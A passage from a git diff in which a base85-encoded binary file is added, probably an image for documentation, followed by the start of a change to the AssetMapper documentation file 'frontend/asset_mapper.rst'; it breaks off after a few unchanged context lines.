zi((HSCKNk5K#+9%+zC>=>4*YP8xjjea7F<xH}dssunT04;pI<)l?^96A;123XuE?L
zc55xJpox0E!S*pJ(>p6{lqHC?I9Xk>>{?UiI&N)-&S>&{%VlOG4v{me@D0hf+yJOQ
z5-E;PA*M={p70K$2!aL{4qpqidb<itZ%!3Z-Pd}Lrl54ya?woD6tUh0Nix=IAjuUw
z<f>9^nyzd;aUq{5=1a`~o|xrdTHQ#R{yc(PT{smJ>#8SiuE3AZ-Tam&jAd&$DdyQg
z`E4ESC>SD1D;Zp;mBoLGz}Gk3++o`=X>ov;3Nn)XKY>M9nMD+NRDplFwtX--TfeHK
zw+6V*^Pj^fCd~f-;Zjv83?KO+Ni{IxDqr&tDqSnmIFPbWDTBQ~PTX}-z$t-FcHq%@
z9(MsB{it3L$Z&)63SY#-gOZu9HTcK-RKC4|-WqS!Zvp*CcX>-xP6^~MC-G0CN2g<i
zt7hYvTsR(*%>sQ?xfErR{Q#fHKCs1Y31=DFccbtQ`m#ZxUN&c*AZe;lcwZIUesx@W
zr?NPC72Kr2;!!Qq$-y8DjtX4kTX)C_;J|jINjf3baKL>3T!^Uj%~{D}m!^2T#Ae?7
z66M+$qE&zV!O|V_%}WmU)A7c@E+Sfgb!LDn?9Vfaw2w+p7$@pqD>VJE;sxx@rO38I
zvi`q8GkI#=&;50X*?jNc-#jo<?0K=C0X8vSm&AuSZ=9a+;-$fMd}_L_u3tUwA9_x7
zut1XTCi{)~|6h>OQhs(*M>0>+RMp;p$-gAPZtdTSgq<=w1W9#vs2h3TOrs=j`{|?}
zhU|SX)vg=#p}iT;`5DfHjJHvD@Y7S!N9UB!^gDHklE*>o@w14_aZu4mWS^TEje6u+
z09{k=!5jyUc4&Hxu3%JKnP?;WbMDA8`}F<qU%Bv#mr_D>2nxYQM;)gnm7Fbq<vkPj
zAC6Af_0&uSFK$YjFAeH*4}eTC=UpqPjS?SVFMnQd@O!;&TbAzs6H;;$FE%XaVvx~^
zFe--5soo(t*e~Tc;r09x-1Hi_f=sU8Q%dn8ix&;|b6w;S&JtW8xU{&-Q3-nuLYj(n
zJN{m$=YFF)Pn^Q`>fDCG(iigghIPOWUDPYiZ7LSR<`}ZlsAQ!S@83>hyNbAm>e7nr
z4M{o>hthb`MTTX@OHD>stoP^W(+-lebMg;svRJtI+dAvIZp*CqmW;L(Pz}+lcx%Tq
z<_ar0|KfW^ypv+s$o?bk-a#m=%LbQOB90CoX>B}Qows_x$yy!B^&eUdKTY6<eACoT
ztP|ka@O7Slg{eERpFBf0+^M(zV|jv{GkZ6KWOanE&g?4Rp6xIzyW|kDNz$P}B{grS
za4tk7A35HpCZYVf<;RPj#od<-8kjmmSCvxCBWe*vJ(%(Z=^%Pex|KRXQYm%*&}?ow
zywaZ(fj`_Yujr{GgJ=@R*gim_WDs$iMCUO7CELNrV~5zk!|t=EeS!8TQHsR4nxgaY
zVv<qW^n&g4u}r_Z^qDXQ+D&5;%9M1TqySl`x;+1HIH(oB?JVMBVc$Ytj0FqdjQKKQ
zP2S>TU=OcRNQ$$fKe#eeJim|<wFUmrc72PgSyT)+93}?!Z;laYdn3;3Uc@ytfZc7E
z6b^AM6R?QyBnDeG7O(5{Gy!H>v_fGiH+k&OlCHNypmN+)(*0PT5Ax%G<bK8rtv_%&
z{fq_9D!|e03TC?II;R?xQw8a^w|3rA`at)M;OwoxFeWrL74ANmhL6f>sPGQN|9^(2
z=uEx>=_>wLcV8J*$Fi+UaCg@L0fM``y9RfM;1b+r0l`Ud_u%gCuEAXv?(TBg=bmI|
zpLg$gzuuo$qsQtVy}GLBm{nahYkuFX`WCe)CdpVWDC3Qy<f9PJBrBZ?tU42Er0(aG
z+{B8C(H*6h9_%8Y+z;Q>B9TgNtyQOMa=**YscD|B=NKgF_24{2vr1qecA;na#^g=T
zm>4E`AH<p$JN8kwjf<|x%oi2qnY!R#UBt-U0#M0#o7%vzh*N3PAyVrNM-gnN+T2ys
z(0zG6A^_SB$GhZy<J%SNT|9!a=5CfdAWnMG)GE|rQ)oeOXT+c*R+LSTNAc+~BeZxF
z7%<{%{>Gn9ML(2w(4r(V-B*m*Rd9t@cI6~@5HvumvC1wJjsYoMvf>tf$&h}6ls1-<
znmZhK-lFBmGSjqS<<%Wm3;M(4z>{$IC@JMy|Dxnu!gb8%j`((eIGkIi&D&~bazhu4
z;}YEiAdH7jhG%r-8<Vug1KDt#KV4+wTk+|*gjsQ#MqheXY?6xJSX+!=#oxe)vE93&
zW1T$OrLBuPA`^inY#3TYDXs4?QSq41KZZAyV`81a@=7XO;3G$qmBOrWl?204z>KX!
zIo{ySKS)104w^_lbO_;mKTmeK=iW9Rj+w8g3SFR3AStSk{t+w_%}Q~+T_4btb;hGo
zemO=)kWO*Rt1B!7hbLNmiQ0bl7Bk$sM#d*zLsJ=$*FtIL{o~USv&!i<Lz|nVhx=1Y
zM&fr9nQSH9vNs+h3kg;505UI#RsXq4wSz0QITPLJ!OpB2BMOR11JVQLQf2u>NtXw7
zx+f}g^TUqImynP>Z+jvhU`T;)<J@y!sflZ$Hg}1eGl6qNQQTt+DV0I$;O<K_@V>bR
z%_)E<z~o$?a?eP@5?^e#FtXfYM7%3d72@L9yzU(dNj8)eYMmTjaGI_Pvc@u0o%Cbn
z)-dDz`W)g^%KethR>)t8XJ_XiN!^YQwY8~dUT0ki=2L|ok5Bosj}x%7w<@!FI0)#-
z*VSNzQh<lyi<i>g|LXjheePqy!N>iPsFDB~1%+3_YWIBnAPJlE*6V||Tu_-EjB?2w
z1P}{B{D<LFpUYny8TU7oc__(e-4MXHr!=~H5igYp8U(!e*y1a}L!ya?Sh2=T<*!95
zZhs|QqtN!dOA!7}{OR1}wgc3Ij<B6D;$Ncv_fG-H#EuL2A2&imQr@UWe<uh~cI!X?
zh6S-%d=v9``ah{V4WEVo&Mu-1VmB4^M*#&O>-h-3bEBXrzROgDF>ZB2nEPIe3^K8&
ze{l}b=x0br%*oE|O)|g^`r{yP?<)9cZvVm_tf)A#>B%4T*J*@-=F_i-5`DC=gL?|m
zHSVPn_dwpgp8yP77JtI-0~#o!*KjbycQgEPY^h;mK+ul8?l4fnYNnp{|LcSkWHR*Y
zp-WphV4|1^I3i3LerWI5cgZ*TT!~qBh($0b8N$W8|B}V@9|8t#+$9;P>q1b3hx%ih
z1sNnU{d(WiQWr;l#XmG7;*!GFPAc$+u0;NW1%=#TdV8h&iwp3N%>Q?_cF5xW=2N}3
zUQplvs8^8x*Y*1Up8$j{vUrUly{C1e)%EejobA91TO(dyP9nsfAH#G47u<BWnu5|E
zf??w;7nwD;KGJT#+j)#I(t7?V0>0)W1sh=_sFrvCc3H*d)dkAli-HFDee%XJQP5CC
zdf(kj;XMK4dnb0&@Ow<S8=co%TAn4z$J)36WHjXPpq%<n!&6&Z{O&$LSjBY<l;fzd
ziNOj#u2YNu`7+TQFD7f0LslzwoT&Fbdp*JL>K|Hno$9N?Ee9NCO`4zFO(x)kI6>HK
zUv^SpnQhdbbXV}5aeDIFLcBa#ql#U94z}oZx+kb@-fb%l_Q&hL0S;`#aWuT5D;)(&
zt#BjqawBz&xE}IGq&fb{mzsM~rX#&M+*Rc7LNaw!6q)uw)a%t9>PLX7t@?`v`QK?s
z-o3xQ)X(p7cB61>Bu}-m0sfSi8?~S4vmb2aYw`)G<rCdet0L^mDvtljHNrhXng{Sr
z3|#b6P7LlMLO)_E$klrS0yPaFgV_xscn!hVd^*w9ARzy>$P#;f_D;0znHI19b3(v*
zM%{SUS)H3J9Sy(kS@Za?|L;!d1p~i4-NI9`=|Q+atKMdDT-e0kxevSq&KrW?^X6md
zXY^ANtjenuwgQzhj!;(|eH!$T3)%F3AGI{WSr@piWvi>NlmHN0(kn3{^e78IZ~l{>
zYb&C0`OdExMw36BSfuWg3|QQ{`Aeu4eJa5keFPKNhnkQS*2a;p`L&~pH@jMu<TuBo
zJTi50d=ewX&@Yfg^B#`RJFCKyY~knW^q<-3vrJ?-o?tPA1Qvq!?t8hk2OJ0*>%hK0
z)Cz2)zVX5m*MWMd+Xv53(x@1hNCU1*JqnLTN78)$<9OIpYix{JFFr_S-mJ<8Ff@4A
z9|);*&`qm}NDi($3i#!XcOsnFgVflwjMui4Z1Fyfi?LV3M6~lHI}<d9<Owfjd2ic+
zV=#7`Q-x0)5S*|28!fb}9_;YR;7!0P3Ig=0&_iIOJpD%-G5k~eiJpszJKA9%#`t$1
zmN3(cf)zfx#62lWG^eJ7%<AHr*N7_AsXE1;a-!A0@q?U`_^x0O$%%R>kZ^tuD+gz;
zN;999EA+<>cR>_3n;AK4Gu9j~f&;W4x^)uo?v*m9uoAgSpfv0E{R}?w_XDfYjVO-m
zrsN!V-Ip4x-x@kViYRYBYFq8^FKzO9JTIzcO`RDwz)XG8q=(yl@34z#2mxRH5z86N
z1CyUtJJQ6FPaLV8)%A2T-qk~PM*|199h>L;<TkO{5X?|*yfY+UjbS^_2D|P2=Asti
zhv~IYH`}QppbP`jiyI6M>oro3Z$FCSAg(V>581T4ar-n=_R)T#osr1LQ-Mg7rRcUP
zs6Dtw=n;h*dGgldsm%&!$7>CtO)K7TyUlVR4~ZS+(SW)Jw+;{E!8;gGoM7;Cn5^RE
z_-60E`}_*R8;;F$9>U9KDr*?4-DtGW>CW-y7W+X6F4l1y_!7kBdRpE(&kGcdWsC0%
zV|F%LYxA0~x5e^4R-tNrk5*}6NB!lF15pvoyW{B|?aX3}F5F@cH9)noLihu_-TJA?
z{N@yl-s=Mt<|`Xwt8ksc$oFx>W&Zu)DTjCMx3&?x-c5mGr}Dl23v25$TmXYXYjN_o
z;6%EJ?!4j0$}cm-37E%@-*?@i;~dm7qn%|1)MS=xksdcyfzM5S%jHJ(GQf(LoFEC0
zD5<Q-MkUN4rAo^iD|~2+sIrJry63#qCEx4dnu1$%X6^I|#4NI8U@^1oWK$$2)NH@$
zT8rJlOx<@64>c;dI6kRDqT%w3UtPzW1?KmFCB1;k;I#E2wdj&~^%NNdOV?%~6QL9^
zJDSn~pZWRHLSTjK&gx30WuXGgpA`f?#<juHSnMu&vcBSA?nJ$w_+6d5NtUcelzi|=
z$4qd0=gmER)|Wmy*)VQf^7@L?U9<D8Lp%lR5xu+pyrPA6)WN}47Bf?WkvriKcS~k(
zLS<U(cf9wY<OglNNlWz{++c4DAfeN?FGZERgXeEc9v4Y0;76MM80jC})e}r)!`L0y
z1%DzE%?ZZKk<-`AJ>)&II7vcLt^<9df9Nh?>}vlas$7!Tdbc$VAO5n&UvRUEDC5Zs
z>kbmdQXIGiHpA#JA_H%8K_b;)C$3ZIZoZb!IRcWbBHeQ^;HQ2y2hoCw121`pq4(mB
z=)|x4^;C}%jMg`P)amYVi52Jmd#3_cfX@@|st>H@RXJ3B+w|y)`(8;TrKlkBaT5tN
ztsZ#AJ<0ruB^9hmkwU+aT!R8;5zP{#<rx3R)eTFQD~DtGQZspA3A*4js;RaPL6jqw
z&Bi>2Z4J#n*n$J@Zi#?>UV1;E4p{Klu!9@y6)TjO>3FaF#(@5Jx)M<Ep6YAbg$ma)
z5qe}#7w42ub+auAR2`Kjc6&5El6)PbJ#1vXtCE-QiKRsJX@4K6Mii3A4k20pjTpoV
zrZR*#OSsi04dvtmA|*9s_B|XN^1~#m%y^?gjvf8*iMo|EqG&ayqBA=VO*5O}VFY#J
z8a2ErJ-w^j8|+ApJw75Ec)ewxTJ_Esr!?5xk77%_hE9u6Hp2~Sjh@q2Bqc4Zsq+ua
zwAuc_!F-klpOU*?zr1%+k2@cMDgauqGcPPbA1wNBWDX#eD{7b1hRxSPgbUT|lK!>%
zdP1YI*pBx2M6uAwg_JM8w3^{o0_Mx!A_(2dg0X?XsKKG#)_`gFXZ>9Stl;UT$m*MP
zipDF&v97H@JFoyj`%wmrrF?mDZ2@tfr9OIj+l6IGun1MSkX$d5Xj(#GhDBKCaO<S?
z2t3WJ2j`CG8j_P|)v|030Ml3XkZ18>NaxHDD5QS5afw}bV0Z)J7U!YyDFzk{-W{qC
z<9~#wq}MnZRrbE>ITLoyQi3VY-LQ)}m4#j)`Gm}1@xFRV+?2a=6KL+$2o&|s&{Iwc
z{Q$G7yW%!ynGj-neNDHkCM=3=mU?OU<{TkLoc=bwoo0+m_y+_u>{ALy=chlalFH`=
zmQC$H!Qg|vg)5iQgea?E58ha@kiY1RUw69{J4CWXWPJKY=-c|ke3}dpvVL>&BVp2n
zi%+T&Ow8w@4H8rk^e)!+XO`nfeB=cgwy~ObfKzdg=+M$h$rPKhD45BF>}q97(D;YX
z|0VC8fL1nV5WQ}g9+!64JR&XQ-uPt_TqEr5&xGQ@i)5pDY>%!J|I&X2zLV<%BekH*
z)lo32pOinM1zJ(~VS}QqwDF6{>x2a?^<`enMxEb81ryLfHjn)Qy`<xPcZa4{BM4w@
zBB#OwF$Y7zFX)}|LEI?8W0#kHw129lK^&70sN6V8K0WVz1fJD%vpdxjQvFMZ@y@@Z
z@q1TsTN7|}9T3#YSKWl;xOOx>(Q|tYXKi7iJzC%hhq~dIk~5nM^u~fBq*d1)+>^I2
z^wgUcf?%%?vlEM(tzoVE4Lrs(6)-ink8;resZcQCePfuVBqwzbg)mK99`L!y594E1
z-aJ9xq~@5PJ7PFV&nNTWf616aAl3x=pWWAERZSLFA%5M92CC(16D2zMtFCo8+5R$b
z09AzRw8&{>TouKDGN!zYI^_2{2=_0i;l3te=gzdYc^;oh(?#0rGBS6eRwndr=?J4L
z-g_T^=+X2&yJAR2m0xdFYZn}rU(C6V6Lf8qRRPDb*&OKvzpFnCW82UKsjqmbey6Tl
z0Fm4q8`RDSL&0v<IfzalOTBZLRUiKo_~`-$exDiBTFkj0F8}u2I2OSpAHIJ;$7Iq&
zl09|;MBsmn&Sg_W<N#$MYcd*;Hk!2fLh+>%K{TUp<4kHf5FGF1iHmbs%=6)i`tH;~
zf9Tr$=(R;KeXQ2LnXqV@G2-&cp7I!1PdVaip!Ja}e2OwE0ciPpNG+G{fifA;{eMRe
z09-ptp6GwLg15G%M>C`P!oV~)n-iec_hAcNTj?s!hXoVERI%5Ji{P$Ddh3kJTi5ax
zFcBX=rd%>mdHMes4*PA~628xVe_!s6Y8Vpz&hnG8|JvX$y6}Gn6FQI{dTs6wPtZB#
z%0!nZ!i$~L;eN=Ynn~cBiV9;TRsPmPPe|IDtQP+bAe%jf(_1eR%i>{Ksa<2TI$S&q
z-<V{-(R$%FMPm4IN*q(ChH`D#*{$01R)~}mXoec_7d2M>lhl6r&#hvb^UCxD1mJ_@
zp#`y0PcByLf?iiKKb_ujMXugf3k}hv%7N%#VR95)0a4&$v)^rq=wglB2IT$~G)6@q
zU_|Q-`eESPhEASoK{>W8fUHE79j9%pLEYhPKNoNDuax_wkZE!<ZGNaID?*U;JoI%m
z+i|=|2~wx}In&scYD&yyj!N-SZeqA%kRcl7XaO#aFi|$d!k9V|&12Sej#Zg@80VM8
zH1x0DY>%hf>(0FBy<9sqJ|fdobR>0f#alUbib^9^$lvt>r-^Dr=*-}ZW9}Nkwqs!Z
zlm;@f=wGWYUT;o#n(~XE!R~Iy8j~bQ(1>A(g(OA{5g9SE;zS-TWUULcz`Ovs(uy^<
zlzBBZ56t4`WPLS3HLM~t$Rr`0*<@g-A`ZdNk6?mSjl1ORj8~5uhh;NEjgLpI<JB3>
zv#YyDQ|?DM!TpJ$jLe6hTC~rHCyIoQ@hDNHR!4=fnR{Q{o<%P$ZiI3wv1XEQ(Hw70
zlGU&%jl?%y=|5H#SQ3+oOO6<Ad$j&;DSM(MXhN~iVHn{F4D=1;eGN3?vrQpNyrq{c
zIP_z}6{p}0bn?Q=4J%V+h%wvSeFhSvgm<NDgdfJtt!Agx##t#j4<H7OevR`YS4R(X
zBZJAObT8Vq$l|3>8$eSyqghF-M+eLs&Z~|C{iPo|oY_qF6nwCi`+V5wm;+mXJ3o}i
zIOw&|jkv~o#0?&TBqdtYp#ZJi7El0#^Y}v7-Xr!xG+rbdBeiLA;|D}Bb+3HLzs<r6
zRlcR1-&5_k3&qMU`DW1Hg1uezi2lPFVg`z3oen_)1(gud52Z)sd-8b>Fci6gKI_8+
zo6&3H>w)?cPTUyS@r@C?QlI}aQF#RBS82)vaP{V-Wwe4=)Hudf9z@oz=nfgqc`_(-
zmA8-Mm9D!Gd$Rb+)s`%vY1)$(J6S$5;mK1sn?sa#k0dv?tN#2`Vd-+Q%5sfN>*ad+
zS@PAmc9m0IeU(%Pb>0MFQAr024w?KxwbhvK+3siC4gGK2LMy9A@PfWGPfibEfU&Jq
zDSS1_nSQ3R(SN;YRBw9xHppXIwws4EswyJqdUHYbOA&EcgJEoql*J4K<CrtzFS_Qa
zlIsr{YX-{Zq^_Kr!bYE9Sp8oDlDJ=kCO2nTWp}3W!jK5MD|-kMCuFYCEfnIxZS;7)
zI?gfMJ#1lYVLcRI)nVz4fj#5`_SQT;WRKxVsmQsZCLNyXW>C%_@_=0WEc#{mXor3d
z@W^aS+5D_ls*TPomp9y8fxrw^BW$h4ZEl^mF;l_4s^^Z(KBD>Az0I)X=pyJH#awx}
zV(>`_bR8?uBYv>Bsg<Zp92mw3MW`b-35<%e5dP$aeuEA^Sj`?!MD>{nv>`2U`_#oh
zBMhOW<ZUxy6Q7ZL-tLjLd^~l+A^?{iEb3`+A+Z}IZgJ_veoFhW{<|BEHq77kHyfLe
zIAMk_cJ+jlc(W~*+GHIlz5xbrR$(}z+|%3+7#!vk#Sn&N8^Ml(F>u+4X(23c9vaHu
z5mn^qsE!2Fm+3BN+x9$Rq6pA>jpI-{#aH(BtDt-`8?<IujLbW@M8_VZAlY|j6$!@+
z<D=EB5pB*+!vCQ(%=t+0P($dyGKPZvykO4aI0cm2wCOQh1@x6{T&4D^YiuKQ!<0nv
zA^td-njA|VO7PJ2y6JQ9`*xExATn}B=jvEY-$xT7OdoX^lEIA%Y`XP((8mvYl+Yev
z)$RifI}Cg>M0RulJ(z<S>#^#QY{Z|T(++xPlkX!jdI7Ho_v?G1awJc$nI!$Z!4SS=
z5cWc?y17Cj>p*E?*fWd%fhNP(FDq?ge|sbGwiiUXHO{wH^5^MwJI*r|z6vXY#dyvd
z<N94q&;&<Y(Deccd_P02A7otc%f;CVu*F=&oYnkt8)Dx@K1{|cV;+q5z`ZNaAJZa&
zmk0N%D{ww6ia$+%q+_)_DDzV$1%65ChH?(Z!}v--xVTLz=G?8(c|qIWd;w+=*HX7s
zUXW97(H_$&Iw24D`!Z1@JAGD;g@P>QrLIwW@a{JLP%VJX<Sfw>=*mG;mzWU(R=b?5
zk0|O1daS+ABe@&IwD~ef?L&gqBe~@E-sXAw57Z*lYJ09z7E|_5D{E|0?-J_kN!L;z
zB=);gN!7V%z@1i(vlKt;AFAW92E2q>FPO3%38tlZhHkYu-eu=Kc&D+NpSM>d843H~
z*fZ-2Gna=>SP-leOk**7w>{Z$Q&2LJvwEL=Fq#<{J9DfI>RZHVBQOI-Q5@ru{jB`#
z>czqNU}Qd0i@MxMZ;&cQ{Ik-=>O-A5l)-2j2KHJxo)FiyNc-zp=g$Gv2|kVyk&y(C
zaAKkamyynOx_1RTnE*{Au>PWJWUgC@PNz67NLpDR8r(?=sw{C=E%lU3QMhfDx1|WH
z`4ISh7O@0p2(na)4UYHxxM+nKIq5Dd6Gzv0G2huZS5#Gr$NB0eHgMJ|FXhEGAXV2J
zEj(D7^SGnr2iA+^WS(HxexcKydWnQsBZ$|f=*Gy^y%bNlnM1*I#D(m3>*+Ji_EPiF
zZjM!r-p$+M`ot;tvo<<9=PGz7Q@oX`K;If_u1SZ{RRkNiNzFIFg+a{LjZ41sSF~>o
z3pu8BEOcT6mYL5hVNSDacTq@6vkBD<sS7ULR&E}#mIhdDOYWMF)mj^czqL}Om-Hqn
z+8*UR`gib@XkBw#ipGyqJ=UoYtcXz7dYw<KDHYfK0N3Ur;t}^!BFuC*1_&1@7$O(3
zUCRD-?kh{H$f)k0F3Xj-ISN;=CrX{U3FikkG&&V13!{8JSo}|c87|NM^Kp9X?P;xN
z`Ul!O$RTR|^j$#&kI~5Ogj0(v9ihZ1iA}HP5w?M2m<Yk6;$M!WWGvDEM3BzCXNewY
z*-Ss|Xe4FCF21_TSd`J(Pm#stScJlGf48$b);d%2*eI>-k4{Yu-`YZ(f0U#y_%J6f
zMRZVc3S@wPR`jcA#5-Sl;l1N@M<H*+@lW1aHq<pvL#s4ZsD1QHk64LGo4lMtJHxvt
zFf?rIZRY!$IGKYccFJZ1kdS%`fw#h6g#e2;$-2&s3yFAvJ!Pv6K9LLqe?UK4^aj<K
zlQ(=kiA9yMlg9f&o)TA!U|DBMx?UQyx2OJvINz|%(`Y1w`VcZpW$t`FYcG5fZr1Q}
zHsY>*q5Iq-`rc@w>PjL!vX3%BA+UZjnXd&|dP_xeH)eXA^Ulf2EKrUc^fW81f{_l9
zpElHYrSo_`F7<LgJ0e?3JY1uNP>YSOPhq?}@p@6f(=jV|7@X`>*q$42feVL<i!<|m
zvNdjYVLSY8BpI=|g<zwaJ!?OtwH{LM=)8I=A6D4>$jRQ)EaE-R{s5+Lt~LcRg*w$Z
zUKxI8I=ZcAg$Wd<OGCKH+B3jrm<?EbqsH+1JRZ}5wfzg2;;oh$e;G7pFhk^c9YMlI
zZNwlvwdqcoA!}!XVhWanhN~2OO^o1R%R|Ba_^x~KTHU1vv?<~cHkfICUq+D@I!lLJ
z0PcN*H`}I{n8ENEe9JBnR$C`ben(f}N4dPAuHLSP*F-Mi#p{_!I|ic!9tWrjT=EZq
z&z?Y_3#EnsBGhrW7wk*Dq5z$9`F;TJqmlu9kz$2IJ}hpye31CEM>g?WX8Aj#u9lCU
zKfONkpku5n7K7^71Qcu3r(oIC#5&a26>h-w%ZL}4Sa7({h#fBighYing_MX6V!T<=
z>^xygm+A#S?Rrcd2_BDHC+>5FQCl)zrZ5-qZ$QVloI;WLMs_+yyA-|49}g8WUaDWW
z>B9*NBZ_H))GKQY+Q~TS%0`(XhMFi00BxtcL-4_(lbFGeSsM=?9S0@u4p7LJT^Ygu
zA#d0a>+g7fV~(m$ke@L_Nxn18*caW7l@Xy6mU7(QwUJ1CMpfWC0PL5<55Uah4tF{n
z?<n2%tf`{XQ6w8J1_9}ArARWxdN2drO5eT;cd5U45SY@+`K=}LpLOp&+#0gbgGr;q
zy`YSTCKH@xq^D&<Oq9uyJKu%(<)<ZKa}6v!Vbh8d4QVImn9%xhu8nn`jG;}GRl(NN
z|9H>31U+yWO%Fne!DOl}+@uJRg6W0)Fc_@PAP)$)VV)Q|K^IYlWQq{TgP&?F8#006
z>{N0i1lcM(v;2upzw#OMkxZjtB^#q_5;8|MLuknQeSsn6FvY(I%4{Zs$;P3juW%@n
z8#*8Ao-z4lEg`B2BV#x>^4eAu&Zi+u<fp+Vfb)yB94Cu-&)iE|Rmt)nTnZ6wx&2B;
zXt3Yyq22<=m)Mb+3#e*TRo^;Z|F}5n)%j=y;YBiSMqr<PckSBQ_PQK&$qA%56qYL+
zHsII={A6bbqZK258ID%VT`1!V`e5FI)*j`z*<j5tNgP<^p{J91Vzf0LM);W4+<+sd
z`F3%aCnWsA@*uWjPr@=)Doc`vG>VHTLXpqTX;k?94_i4LHU*(Of-@iBnK-qzkb0*J
zyC?c;W#W-?V}^<AJ2vIrnDWWrZ&ZN_qO@*kj7WX@+NV#s|Dqj?u)93T+(IT*ZThLG
z1r`KW9$wuWIT(qk?UgeG1FZD}%?NKUcf7B#8zD5}IkTmr;)y1~s<T+G-YCsvymsD!
zu*rKd`bSXu6>Z;0!n%n9R=a{nSWH4jfy2!pSX8i;#5li0A(&cOQjx&bp87Ry(fSJV
z3YFsbRkrW7B!-=Kw!z`P4ZjcYW!PNB4n`3(!a0SL_+`eCnPz!8gI6Jq2$i2ON2An%
za_?RTio-~iO}K%$H#-SWAMi62Mj{TYrV2&0Nl(`4tKoB^I|!6hhpE7GqQml}j-Y}H
zZA1uCvm55V0;f`#YDtSEtuxMfFkgRglZ@B)Z)sRg=GB3P<Jc$Sv%O@<Yx9T+K%b9O
ze57G5q$|XS=|@+K?BScfyXk)=@PZ+-iRe10EoRKQ-MwoV<S5bM$FWYMX%1AldgH@g
z#<KLm_D0D-a`rf~auyYA0*Z#LK2YfRR~F0fQ^XIG_8B`2yc^i=ov!OKs$jXW*I$9u
zF1TRo3Sc3l>1J}nnCQq;1px&k^3*^|J48EB*5=2%nh=JF`?-8x5U2!$9YLm1Md?Mf
z$c7)uDj5*-JZECOWx0{q47&nG(NQESEV1G_lIR7-4#2gD!;K(eH}GljRm;RJ3bP1F
zwOVEp(kx@9pg`w#9vM+&f<TAmG#;O_p!xSaVzNC^)aH)$r4~`xUA}u}wYc)R_?sLJ
zXoXEMF_<OrXOS&R?So}W(;~j`s?F8em`x+IcG`A>8##oU?C86p>4^dp<a!6Gt15ey
z)_n6!x!xDj#<LO~yjr6BJ5?9It$OOcNQ1Rb?K`C8AjS>r$qHRB7Mlg+^n6{OZ0-nx
zW;!8)dF+>{mBlhZttzBFkjn;rhECEtK_M~@Q<VgY-4=6hK{UZgm8d8c1(^$<S?wiq
zD%dpZBqL)p=X6~23a~)+N^YLn7O3Zv;dZx*?FH+6+y?C=Ksv3`*@8`dqJ5p5?e~D{
z+?VFNU;nmy@pZjuBF|@HZ`x5wX~~`WcPm;&_I87wJ!>^RhMyMt6PI&Pa8=m!*B&yW
zEnF|^M{xu4M(`jm&?-*)m6g3X;YX$JEKtL?RR%*(%uGhP3dov6o?#M(PswgD_qsil
zD_m~Hoa(Jae6BcAQ@a>QvO~9s_<^H%1DI3=D!wJz?6@oih)_703Y5gnaS`~$v~x)b
zXrVaVraK?`u30BQKp?IpMFf?dc5TmG#-jGLZjefTn^q8s>5wfR2xeot-8#=2xw|lX
zOyk7+4PZ5qx&<l=kW5=fudjVZ0efFXZQV&Od+d!@UyGK<z}nI=M(2aXzdqO^2rqFG
z>F+gz&hn~lBAkln&l<-eqb|ZG-<ko_<WtXdo2e9x2|7%GXt*TB(Cu6*`gb>YGI}SG
zbQo23gb3%(<6Pee>Ay9$hr*nC1LUfOC%5~|Tc&CWwUu4YZugZrZm>hk(ougr#d@2o
z%LDdQm@D7wLu<Ovceq|MC|$mAl3K~|`j&EQD>B~lIMXLZjz`V)R9K_fd3>?aFb#J1
z<6{`p2&a^$&iQePkjl)`5v}$_R3|O9L>8NKh3MP<%xaa$31JOSu%6xSzt#K>8&_3c
zlk?jH1J-#)lt`)*v_DwudO=%QjTcl*ye%L(?ue#IC86Y^7@OM_u}SVUfSvXGS#kzS
zznV<%RS&MKhZgv<35dQ}IED+|Egv?wF(TKvCxk)YSM23JG}Q&DXp0{H`h=gy{bpd|
z>po_F81<lb7h&-`?Q?xw9B~4=7|&*r-Jv&VliYV)Vu)~}X!P96jjqV&II@gnRisqO
zj)Fs^ebc237E(whcr2iuymIRS-koQTlL8sfSYtUTt0yW@Qp|n&pD+8s+&ps5J|$Ch
zbtg-CX9MlyM~YD~=Ehgc4b*QJ_V_tLyD@<0RrQFwK6;_x1nZyo-IvuK_`pxJIsJ00
zv0@y|DY6r21dlNIMa0Gh<p<@@V77L)Ix-!6-=bAxsXksfMt`R`zU?YWRamZN*ma5i
z<t0kz?*d=xw9k%21$Dh5#X32CqPYk}?y}Pz`CLkOb?ZSSJC{eYVtxP**bZrM;Q<J#
z=*jTJz6QePg_eGI|JpHBCzPiE9g$Xjh6s%klQJc`@d>BQ3dM+f7Clmx%3yn)R#VId
zZ7xCxx?A+z1h2LNR*U+Chl9hm*>y>U7FSLh^}!$XXKx#zTO{E@MFb*3>0@nVS9RyG
z;VOzwC+F2*Mkx7#l;Ol|3yD^&3!j(_yd_mp^E^z16s;9iQ;3C=W=Ll-Jxl=dn~SVx
zHi|10WL&CCtQ1+Q^!wT86+O>7QrW$9g>*)v`n%lbjDlPhn23OSbH=wV<8o_ON*umy
zJ_RXe=ag4hs8Ryrj1VT>kDM=u7-xd}zMK!&*r99zX{?lCvlJF!%`)DjoS&Q8pTi`q
zq3a0c7UUI@k)WkdI|@PT6wR}-YO`Eapjkw;7A$fI$*ef<pL?@m7%2h86Ue=ju7k|C
zfgft5016ArsOj&B4Ugi(`;BH?WqS}Wu@DiRdb#n+Uq~a#YL})t;zmB&5bDs0-CEG_
z5R?Qe6=Fo{j*8rE(UQ#AokCMG>M3Zt^&~b>kJ+Y?K{^#sQ!QBr3T0tBpLmnFj;O}C
zy<&eiIzv(FlRJ0lr57%St+maS_$Ua!Rvc(@Veyi#m>tw~<~s2e%*YF{=#hKZs_-0o
zXa>CI@0qi$!<->t5y~t5U{P!Fp@?!i`?%%N>!XvlgrOfFI#&!se%-_(7u+c%@#b~q
zTIkx(5j+GT?4G>)<G}o%?<?~r)GpbOkRw%(d%J2L2|jGx3OUFjlN+vzL^k0q$#a<N
zp%mL<6ge*IZ{&MPdS+;RqxsDv+ZH4bboJJ45)`>A8II_VPUbz+YUh<moxB5hJ#@O-
z6Z(5mbU3-;W_KOaXx+8vB7ObUeqn*y*eEd&D_^68teTJ@0T68hFgO3Jhf*sn<GA-o
z_?N4MWQv1GOvIS6zLMGkjmZm&wB!XYRySgw1C0o<k4H{??M{e(b5cNn9@MLqzZoYL
z?|F%S)^$Vt%LNw$zWfie-5$<+pGAzn$uMv4p?f3KwQ^i(OyChd2g?{!$ctM1WZK%h
hQy}|Q$Yk}&>$_)Udd<|B2M&<8Bq=H<QYNJD|6kvWO&9<G

literal 0
HcmV?d00001

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index f773bd8013d..2f969420a9d 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -1040,6 +1040,38 @@ re-calculated when you expect it to, you can run:
 
 This will force the AssetMapper component to re-calculate the content of all files.
 
